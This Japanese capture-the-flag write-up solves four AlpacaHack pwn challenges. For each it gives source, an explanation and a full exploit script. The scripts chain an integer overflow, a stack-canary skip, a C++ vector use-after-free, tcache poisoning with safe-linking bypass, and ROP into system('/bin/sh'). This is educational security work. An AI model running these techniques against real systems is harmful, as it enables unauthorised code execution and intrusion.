2024/8/18 12:00-18:00に行われた AlpacaHack Round 1 (Pwn) のwriteup。
echo (56 solves)
Cのソースコードが渡されるオーソドックスなPwn問。ソースコードは以下の通りで、Canaryなし、PIE無効。
#include <stdio.h> #include <stdlib.h> #include <unistd.h> #define BUF_SIZE 0x100 /* Call this function! */ void win() { char *args[] = {"/bin/cat", "/flag.txt", NULL}; execve(args[0], args, NULL); exit(1); } int get_size() { // Input size int size = 0; scanf("%d%*c", &size); // Validate size if ((size = abs(size)) > BUF_SIZE) { puts("[-] Invalid size"); exit(1); } return size; } void get_data(char *buf, unsigned size) { unsigned i; char c; // Input data until newline for (i = 0; i < size; i++) { if (fread(&c, 1, 1, stdin) != 1) break; if (c == '\n') break; buf[i] = c; } buf[i] = '\0'; } void echo() { int size; char buf[BUF_SIZE]; // Input size printf("Size: "); size = get_size(); // Input data printf("Data: "); get_data(buf, size); // Show data printf("Received: %s\n", buf); } int main() { setbuf(stdin, NULL); setbuf(stdout, NULL); echo(); return 0; }
win
関数が置いてあり main
内の char buf[BUF_SIZE]
への書き込みが行えることからバッファオーバーランを狙いたい。
書き込みできる文字数は get_size()
内で計算しており、ここの脆弱性を探す形になる。
get_data()
内では unsigned
を使っているのにも関わらず get_size()
の返り値が int
なことから、get_size()
の返り値を任意の負数にすることで文字を好きなだけ書き込める。
しかし、size = abs(size)
で入力の絶対値を計算しているため、一見した限りだと負の数は万全にケアされているように思える。
この関数の脆弱性は size = abs(size)
の部分。32bitの符号付き整数で表現できる範囲は [-2147483648, 2147483647]
であり、-2147483648 = 0x80000000
を abs
の引数として与えるとその返り値は -2147483648
となる。
したがって、sizeにこの値を入力してからバッファーオーバーフローを起こして win
関数へと飛ぶことでフラグが得られる。
from ptrlib import * # p = Process("./echo") p = Socket('***', ***) e = ELF('./echo') input() p.sendlineafter('Size: ', -2147483648) p.sendlineafter('Data: ', b'A' * 280 + p64(e.symbol('win'))) p.interactive()
hexecho (27 solves)
前問のhex版。ソースコードは以下の通りで、防御機構にはStack Canaryが追加されている。
#include <stdio.h> #include <stdlib.h> #include <unistd.h> #define BUF_SIZE 0x100 int get_size() { int size = 0; scanf("%d%*c", &size); return size; } void get_hex(char *buf, unsigned size) { for (unsigned i = 0; i < size; i++) scanf("%02hhx", buf + i); } void hexecho() { int size; char buf[BUF_SIZE]; // Input size printf("Size: "); size = get_size(); // Input data printf("Data (hex): "); get_hex(buf, size); // Show data printf("Received: "); for (int i = 0; i < size; i++) printf("%02hhx ", (unsigned char)buf[i]); putchar('\n'); } int main() { setbuf(stdin, NULL); setbuf(stdout, NULL); hexecho(); return 0; }
get_size()
から abs
が消えているため、特に工夫せずとも任意の長さの入力を与えられるようになった。入力は scanf("%02hhx", buf + i)
の形で行う必要がある。
プログラムが入力→出力→終了という構造をしており、出力によって得られた情報を入力に使えないため、どうにかして入力を繰り返し行えるようにしたい。
一番考えられる方法がバッファーオーバーフローによるリターンアドレスの書き換えだが、stack canaryが有効であるため、stack canaryの部分を読み飛ばしてその後の領域に書き込むようなペイロードを設計する必要がある。
実験をしてみると、z
や \0
などのhexとして解釈不可能な文字を入力した場合、その文字以降の任意の文字が無視されてしまうことがわかった。
そのため、hexとして解釈可能な文字であり、うまく読み飛ばしてくれるものを探す。
実験しながら調べていると、+
がこの条件を満たすことが分かった。具体的には、+
を 回入力した後に適当な1バイトを表すhex(22
など)を入力してあげると、先頭 バイトを飛ばして書き込みができることを発見した。
したがって、この方法を用いて先頭から一定バイトを読み飛ばした後、リターンアドレスに main
のアドレスを指定してあげることで、出力の読み込みと再入力が可能になる。
このときに得られたバイト列の中には libc
のアドレスの情報も入っているため、そこからlibc leakして先ほどと同様の方法でROPを行うことによりshellを奪取でき、フラグが得られる。
from ptrlib import * p = Socket('34.170.146.252', 51786) e = ELF('./hexecho_patched') libc = ELF('./libc.so.6') def to_hex(addr): print(hex(addr)) h = p64(addr).hex() return ' '.join([h[i:i+2] for i in range(0, len(h), 2)]) p.sendlineafter('Size: ', 280 + 16) p.recvuntil('Data (hex): ') for i in range(279): p.send(b'+') p.send('22 ') p.sendline(to_hex(next(e.gadget('ret;')))) p.sendline(to_hex(e.symbol('main'))) recv = p.recvlineafter('Received: ').split() idx = recv.index(b'7f') ofs = int(b''.join(recv[idx-5:idx+1][::-1]).decode(), 16) libc.base = ofs - 0x7f7117a5c780 + 0x7f7117841000 p.sendlineafter('Size: ', 280 + 8 * 4) p.recvuntil('Data (hex): ') for i in range(279): p.send(b'+') p.send('22 ') p.sendline(to_hex(next(e.gadget('ret;')))) p.sendline(to_hex(next(libc.gadget('pop rdi; ret;')))) p.sendline(to_hex(next(libc.find(b'/bin/sh')))) p.sendline(to_hex(libc.symbol('system'))) r = p.recvlineafter('Received: ') p.interactive()
todo (5 solves)
C++のバイナリが渡される問題。最初はdeckより手前側に置いてあったはずなのだが、気づいたら解いた人数が逆転して最終問題になっていた。
ソースコードは以下の通りで、防御機構はだいたい全部あり。
#include <iostream> #include <vector> int main() { size_t choice, index; std::string todo; std::vector<std::string> todo_list; std::cin.rdbuf()->pubsetbuf(nullptr, 0); std::cout.rdbuf()->pubsetbuf(nullptr, 0); std::cout << "1. add" << std::endl << "2. show" << std::endl << "3. edit" << std::endl << "4. delete" << std::endl; while (std::cin.good()) { std::cout << "> "; std::cin >> choice; switch (choice) { case 1: // add std::cout << "TODO: "; std::cin.ignore(); std::getline(std::cin, todo); todo_list.emplace_back(todo); break; case 2: // show std::cout << "Index: "; std::cin >> index; if (index >= todo_list.capacity()) { std::cout << "[-] Invalid index" << std::endl; break; } std::cout << "TODO: " << todo_list[index] << std::endl; break; case 3: // edit std::cout << "Index: "; std::cin >> index; if (index >= todo_list.capacity()) { std::cout << "[-] Invalid index" << std::endl; break; } std::cout << "TODO: "; std::cin.ignore(); std::getline(std::cin, todo_list[index]); break; case 4: // delete std::cout << "Index: "; std::cin >> index; if (index >= todo_list.capacity()) { std::cout << "[-] Invalid index" << std::endl; break; } todo_list.erase(todo_list.begin() + index); break; default: return 0; } } return 0; }
std::vector<std::string>
型の配列 todo_list
に読み書きと編集ができる単純なメモアプリ。
この問題の脆弱性はout of range判定が todo_list.capacity()
と比較されていること。std::vector
の要素数を求める関数は vec.size()
であり、vec.capacity()
が返すのは内部で確保しているメモリが何要素分を表すかの情報になっている。std::vector
は要素の削除だけではメモリの縮小方向へのリサイズは行わないため1、たとえ一度作成した要素を削除したとしても、その要素の元々のindexを指定してアクセスすることでデータへの読み書きが可能となってしまう。
本問題はC++のSTLへの知識が必要であるため、std::vector
と std::string
の構造の簡単な解説をここに載せておく。詳細な解説が欲しい方は この記事 を参照してほしい。
std::vector
は8バイトのポインタ3つからなる構造体であり、3つのポインタはそれぞれデータの始点・データの終点・確保領域の終点を表している。データの終点が size
を、確保領域の終点が capacity
をそれぞれ表すことになる。
std::vector
の宣言時点ではこれらのポインタは 0x0
を指すが、要素追加のタイミングで malloc
により領域が確保され、各ポインタが更新される。要素数が増えて領域が不足した場合はメモリを再確保して対応する。
std::string
は24バイトの構造体で、先頭にデータへのポインタ、その次にデータのサイズが格納される。文字列長が 0x10
バイト未満のときはその後の16バイト分の領域に文字列が保存されるが、文字列がそれより長い場合は malloc
によって確保されたヒープ領域にデータが保存されることになる。
この問題では、一定サイズ以上の std::string
がデータをヒープ領域に持つこと、deleteによって一度解放した std::string
を読み書きできることからheap exploitが起こせる。
一度freeされたヒープ領域(チャンク)はそのサイズと状態によっていくつか存在するbinsのどれかに格納される。各binは単方向リストや双方向リストなどで管理されており、そのリストの結合先をうまく読み書きすることで情報取得や任意アドレスへの読み書きを行う、というのがheap exploitの概要である 2。
サイズが一定の範囲に収まるチャンクはfree時に unsortedbin
に格納され、再利用の機会を待つことになる。unsortedbin
は双方向連結リストであり、unsortedbin
に放り込まれたチャンクは main_arena.top
に繋がる。main_arena
はlibc内の特定領域に格納されているため、main_arena
のアドレスを得ることでlibc自体が配置されているアドレスも得られる。
したがって、適切なサイズの領域を確保→解放して unsortedbin
に挿入し、その領域の中身を読み込むことで、libcのアドレスを得ることができる。
今回の場合、"A" * 0x1000
をメモに追加した後にそれをdelete→showすることでで目的が達成できる。
次に、任意アドレス読み込みのための準備を行う。まずはヒープ領域に存在する todo_list[i]
のアドレスをleakする。
先ほどと同様にdeleteした文字列へのshowを行うと、todo_list
の任意の要素が格納している文字列自体のアドレスを得ることができる。これは todo_list[i].data
のアドレスであり todo_list[i]
そのもののアドレスとは異なるが、これら2つは同じヒープ領域内の近い箇所に存在しており、その位置の差も実行毎に変化しないため、適当にオフセットを取ることで todo_list[i]
のアドレスも得られる。
このアドレスはsafe-linkingと呼ばれる機構によって暗号化されているが、safe-linkingに用いているkey自体もdelete→showによってleakできてしまうため、この暗号化は問題なくバイパスできる。
ここから tcachebins
を書き換えて任意アドレス読み込みを行う。
tcachebins
は小さいチャンクが格納されるbinsであり、チャンクサイズごとに単方向連結リストで管理されている。
malloc
によって新しくメモリを確保する際、tcachebins
にサイズが一致する領域が存在している場合は、ヒープ領域から新たに領域を取り出すのではなく tcachebins
に保存されている領域を再利用する形でメモリを用意する。
そのため、tcachebins
の単方向連結リストの接続先を任意のアドレスに書き換えてメモリを確保してあげることで、任意アドレスへの書き込みが可能となる。
今回の場合、同じ長さの文字列を2つaddした後に2回deleteし、そのうち片方をeditしてアドレスを書き換えてからさらに2回addすることで、任意アドレス書き込みが行える。
前段階で得た todo_list[0]
のアドレスに対して書き込みを行い、todo_list[0]
のデータポインタが environ
を指すようにした後にshowすることで、スタックのアドレスを得ることができた。
libcとstackのアドレスが両方得られ、任意アドレスへの書き込みもできるようになったので、後はスタックを書き換えてシェルを奪えばよい。
まずはROPのペイロードをrbpの下に書き込む。
この状態で main
から抜けてROPを発火させようとすると、todo_list
のデストラクタでの free
時のエラーで落ちてしまう。
これは今まで todo_list
を好き放題弄っていたことから当然の結果であり、デストラクタでエラーが起きないようにスタックをさらに改竄する必要がある。
std::vector
は初期状態では全てのポインタが 0x0
を指しており、この場合は当然ながら free
は行われない。そのため、スタックの todo_list
に該当する領域が 0
埋めされるように任意アドレス書き換えを行う。
配列への要素追加によって todo_list
のデータ終端を表すポインタが書き換え後からさらに 0x20
増えることを考慮して 0x0, -0x20, 0x0
をそれぞれ書き込むと、無事デストラクタでのエラーが回避でき、ROPの発火によりshellが得られた。
from ptrlib import * LOCAL = False p = Socket('***', ***) e = ELF('./todo') libc = ELF('./libc.so.6') def add(s): p.sendlineafter('> ', '1') p.sendlineafter('TODO: ', s) def delete(idx): p.sendlineafter('> ', '4') p.sendlineafter('Index: ', idx) def show(idx): p.sendlineafter('> ', '2') p.sendlineafter('Index: ', idx) return p.recvlineafter('TODO: ') def edit(idx, s): p.sendlineafter('> ', '3') p.sendlineafter('Index: ', idx) p.sendlineafter('TODO: ', s) add('00000000ccccdddd') add('11111111zzzzxxxx') add('22222222ccccdddd') add('33333333zzzzxxxx') add('44444444ccccdddd') add('55555555zzzzxxxx') add('66666666ccccdddd') add('77777777zzzzxxxx') add('A' * 0x1000) delete(8) res = show(8) libc_ofs = int.from_bytes(res[:8], 'little') libc.base = libc_ofs - 2206944 delete(7) res = show(7) heap_key = int.from_bytes(res[:8], 'little') print(hex(heap_key)) delete(6) res = show(6) nex_heap_key = int.from_bytes(res[:8], 'little') ^ heap_key print(hex(nex_heap_key)) # set vec[0] to environ vec_addr = 0x5594035bfce0 - 0x5594035bf600 + nex_heap_key print(hex(vec_addr)) edit(6, p64(vec_addr ^ heap_key)) add('aaaabbbbccccdddd') add(p64(libc.symbol('environ')) + p64(8)) # environ leak res = show(0) stack = int.from_bytes(res[:8], 'little') stack = 0x7ffdc92dff20 - 0x7ffdc92e00d8 + stack print(hex(stack)) # add ROP payload rbp_addr = stack + 0x90 add('A' * 0x30) # 8 add('A' * 0x30) # 9 delete(8) delete(9) edit(8, p64(rbp_addr ^ heap_key)) add('A' * 0x30) payload = b'' payload += p64(rbp_addr) payload += p64(next(libc.gadget('ret;'))) payload += p64(next(libc.gadget('pop rdi; ret;'))) payload += p64(next(libc.find('/bin/sh'))) payload += p64(libc.symbol('system')) payload = payload.ljust(0x30, b'F') add(payload) # set string and vector as valid data rewrite_addr = stack add('A' * 0x70) print('OK') add('A' * 0x70) delete(11) delete(10) print('rewrite:', hex(rewrite_addr)) edit(10, p64(rewrite_addr ^ heap_key)) add('A' * 0x70) payload = b''.ljust(0x30, b'\0') payload += p64(0) #vector payload += p64(-0x20) payload += p64(0) payload += p64(0) # ??? payload += p64(stack + 0x60) # string payload += p64(5) payload += b'ABCDE\0\0\0' payload = payload.ljust(0x70, b'\0') print(len(payload)) add(payload) p.sendlineafter('> ', '5') p.interactive()
deck (11 solves)
コンテスト中に手を付けられなかったHeap問。ソースコードは以下の通りで、Canaryあり、Partial RELRO、No PIE。
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <time.h> #include <unistd.h> #define DECK_SIZE (13 * 4) #define MAKE_CARD(suit, rank) ((((suit)) << 8) | (rank)) #define CARD_SUIT(card) ((card_t)(card) >> 8) #define CARD_RANK(card) ((card_t)(card) & 0xff) typedef unsigned short card_t; typedef struct _game_t { void (*shuffle)(card_t*); card_t *deck; char *name; } game_t; const char *suit_symbols[4] = {"♠", "♦", "♥", "♣"}; const char *card_numbers[13] = {"A", "2", "3", "4", "5", "6", "7", "8", "9", "10", "J", "Q", "K"}; void getstr(const char *s, char *buf, size_t len) { size_t i; printf("%s", s); for (i = 0; i < len; i++) { if (read(STDIN_FILENO, buf + i, 1) != 1) exit(1); if (buf[i] == '\n') break; } buf[i] = '\0'; } ssize_t getval(const char *s) { ssize_t val; printf("%s", s); if (scanf("%ld%*c", &val) != 1) exit(1); return val; } void swap_cards(card_t *deck, size_t i, size_t j) { card_t tmp = deck[i]; deck[i] = deck[j]; deck[j] = tmp; } void shuffle_naive(card_t *deck) { size_t i; for (i = 0; i < DECK_SIZE * 2; i++) swap_cards(deck, rand() % DECK_SIZE, rand() % DECK_SIZE); } void shuffle_knuth(card_t *deck) { size_t i, j; for (i = DECK_SIZE; i > 0; i--) { j = rand() % (i + 1); swap_cards(deck, i, j); } } void shuffle_sattolo(card_t *deck) { size_t i, j; for (i = 0; i < DECK_SIZE - 1; i++) { j = i + 1 + rand() % (DECK_SIZE - i - 1); swap_cards(deck, i, j); } } game_t* game_new() { game_t *game; char *name = NULL; card_t *deck = NULL; if (!(deck = (card_t*)malloc(sizeof(card_t) * DECK_SIZE))) goto err; if (!(name = strdup("Human"))) goto err; if (!(game = (game_t*)malloc(sizeof(game_t)))) goto err; for (size_t i = 0; i < DECK_SIZE; i++) deck[i] = MAKE_CARD(i / 13, i % 13); game->deck = deck; game->name = name; game->shuffle = shuffle_naive; srand(time(NULL)); return game; err: if (name) free(name); if (deck) free(deck); return NULL; } void game_del(game_t *game) { free(game->deck); free(game->name); free(game); } void game_play(game_t *game) { printf("Challenger: %s\n", game->name); game->shuffle(game->deck); card_t card = game->deck[0]; size_t suit = getval("Guess the suit (1=♠ / 2=♦ / 3=♥ / 4=♣): "); size_t num = getval("Guess the number (1-13): "); printf("The card: %s%s\n", suit_symbols[CARD_SUIT(card)], card_numbers[CARD_RANK(card)]); if (suit == CARD_SUIT(card) + 1) puts("Your guess on the suit is correct!"); else puts("Your guess on the suit is wrong..."); if (num == CARD_RANK(card) + 1) puts("Your guess on the number is correct!"); else puts("Your guess on the number is wrong..."); } int main() { game_t *game; setbuf(stdin, NULL); setbuf(stdout, NULL); setbuf(stderr, NULL); if (!(game = game_new())) { puts("[-] Cannot create a game"); return 1; } while (1) { puts("1. Play a game\n" "2. Change shuffle method\n" "3. Change your name"); switch (getval("> ")) { case 1: game_play(game); break; case 2: { size_t choice = getval("1=Naive / 2=Fisher-Yates / 3=Sattolo: "); if (choice == 1) game->shuffle = shuffle_naive; else if (choice == 2) game->shuffle = shuffle_knuth; else game->shuffle = shuffle_sattolo; break; } case 3: { char *name; size_t len = getval("Length: "); if (len > 0x1000) { puts("[-] Invalid length"); break; } if (!(name = (char*)malloc(len + 1))) { puts("[-] Cannot allocate memory"); break; } getstr("Name: ", name, len); free(game->name); game->name = name; break; } default: game_del(game); return 0; } } }
トランプの札からなるデッキをシャッフルして一番上を当てるゲームが遊べる他、シャッフル方法の変更と名前の変更が行える。ゲームの状態を表す game_t
構造体はヒープに確保されている他、game_t
から参照している card_t *deck
と char *name
もそれぞれヒープ内の別領域に保持されている。
脆弱性は shufle_knuth
のループ部分。for文の始点が i = DECK_SIZE
になっており、配列外の要素とのswapが行われる。mallocでヒープ領域に確保されている上、カードの枚数が合計52枚で1枚は2バイトであるため、このswapによってヒープ領域中の次のチャンクのサイズが書き換えられてしまう。
前述の通りカード1枚は2バイトで保存されており、上位バイトがスート、下位バイトが数値となっている。そのため、swapを行うことで次のチャンクが 0x100
や 0x300
に書き換えられてしまうことがある。目当てのチャンクサイズを引ける確率は少なくとも1/52はあり、これだけの回数の試行であれば許容範囲内であるため、今後はswapによってチャンクサイズが 0x300
に書き換えられたと仮定して進めていく。
プログラムの開始時点の状態では、ヒープ領域中で deck
の次の領域に位置するデータは game->name
になっている。ここから名前変更のクエリを投げると元の game->name
はfreeされ、新たにmallocで確保された name
が次の game->name
に代入されることになる。そのため、名前変更により deck
の直後の領域をfree(ここで tcachebins[0x20]
にチャンクが入る)→シャッフルでチャンクサイズを変更→再度名前変更をして deck
の直後の領域を再確保(tcachebins[0x20]
からチャンクを取り出し)→さらに名前変更をして再度free(tcachebins[0x300]
にチャンクを格納)、という手続きを踏むことで、tcachebins
のサイズ 0x300
のbinに deck
の直後の領域を入れることができる3。
上のような手続きを踏んで元々 game->name
があった領域を tcachebins[0x300]
に格納すると、次に 0x300
バイトの領域をmallocした際には game->name
があった領域から続く 0x300
バイトの領域が取り出されることになる。名前変更クエリでは任意サイズのmallocとmallocした領域への書き込みが同時に行えるため、これを用いることでこの領域への自由な書き込みが行えるようになった。この領域には同じくヒープに確保されている game
も入っているため、game->shuffle
, game->deck
, game->name
の指すアドレスを自由に書き換えられる。
ここからは game
構造体の中身を弄ることでlibc leakからのROPを達成する。まず、game->shuffle
を puts
のPLTに書き換え、game->deck
をlibcの適当な関数へのGOTに書き換える。
この状態でゲームを実行すると、デッキシャッフルの処理が puts(addr)
の呼び出しで置換され、libcの関数のアドレスを得ることができる。libcのベースアドレスが得られたので、ついでに environ
を同様の方法で読み出してstack addressも得る。
ここからROPを行う。ROPのためには任意アドレスの書き込みが必要になるが、これは任意アドレス読み込み時に puts
のPLTを用いていたところをlibcの gets
で置き換えてしまえば良い。leakしたstack addressを用いて game_play
からのリターンアドレスの位置を計算し、そこにROPのペイロードを書き込んで発火させることでシェルが得られた。
ソースコードは以下の通り。シャッフル結果が目的のものになるまで引き直しているが、リモートにexploitを刺そうとするとタイムアウト設定などの都合でこの部分のコードが無駄に複雑になってしまった。そのため、本記事には手元でのみ動作するコードを貼ることとする。
from ptrlib import * e = ELF("./deck") libc = ELF("./libc.so.6") def spawn(): # return Socket("***", ***) return Process("./deck") p = spawn() def play(): p.sendlineafter('> ', 1) p.sendlineafter('): ', 1) p.sendlineafter('): ', 1) def change_shuffle_method(method): p.sendlineafter('> ', 2) p.sendlineafter('Sattolo: ', method) def change_name(length, name): p.sendlineafter('> ', 3) p.sendlineafter('Length: ', length) p.sendlineafter('Name: ', name) while True: change_name(0x1000, 'A'*0x1000) change_shuffle_method(2) play() change_name(0x10, 'X'*0x10) change_name(0x10, 'Y'*0x10) try: p.recvuntil('3.', timeout=1) payload = b'A' * 0x1f + b'\x00' payload += p64(e.plt('puts')) # shuffle -> plt['puts'] payload += p64(e.got('puts')) # deck -> got['puts'] (for libc leak) # change_name(0x100 - 10, payload[:-1]) # change_name(0x200 - 10, payload[:-1]) change_name(0x300 - 10, payload[:-1]) # libc leak p.sendlineafter('> ', 1) p.recvline() line = p.recvline(timeout=1) if line.startswith(b'Guess'): continue libc_puts = u64(line) libc.base = libc_puts - libc.symbol('puts') assert libc.base & 0xfff == 0 p.sendlineafter('): ', 1) p.sendlineafter('): ', 1) break except: p = spawn() continue def aar(addr): change_name(0x10, 'T'*0x10) payload = b'A' * 0x1f + b'\x00' payload += p64(e.plt('puts')) # shuffle -> plt['puts'] payload += p64(addr) # deck change_name(0x300 - 10, payload[:-1]) p.sendlineafter('> ', 1) p.recvline() line = p.recvline(timeout=1) assert not line.startswith(b'Guess') p.sendlineafter('): ', 1) p.sendlineafter('): ', 1) return line def aaw(addr, data): change_name(0x10, 'T'*0x10) payload = b'A' * 0x1f + b'\x00' payload += p64(libc.symbol('gets')) # shuffle -> gets payload += p64(addr) # deck change_name(0x300 - 10, payload[:-1]) p.sendlineafter('> ', 1) p.recvline() p.sendline(data) p.sendlineafter('): ', 1) p.sendlineafter('): ', 1) environ = u64(aar(libc.symbol('environ'))) rop_base = 0x404a00 rop_payload = b'' rop_payload += p64(next(libc.gadget('pop rdi; ret;'))) rop_payload += p64(next(libc.search(b'/bin/sh'))) rop_payload += p64(next(libc.gadget('ret'))) rop_payload += p64(libc.symbol('system')) return_addr = environ + 0x7ffe72b337b8 - 0x7ffe72b33908 # return address of game_play change_name(0x10, 'T'*0x10) payload = b'A' * 0x1f + b'\x00' payload += p64(libc.symbol('gets')) # shuffle -> gets payload += p64(return_addr) # deck change_name(0x300 - 10, payload[:-1]) p.sendlineafter('> ', 1) p.recvline() p.sendline(rop_payload) p.sendlineafter('): ', 1) p.sendlineafter('): ', 1) p.interactive()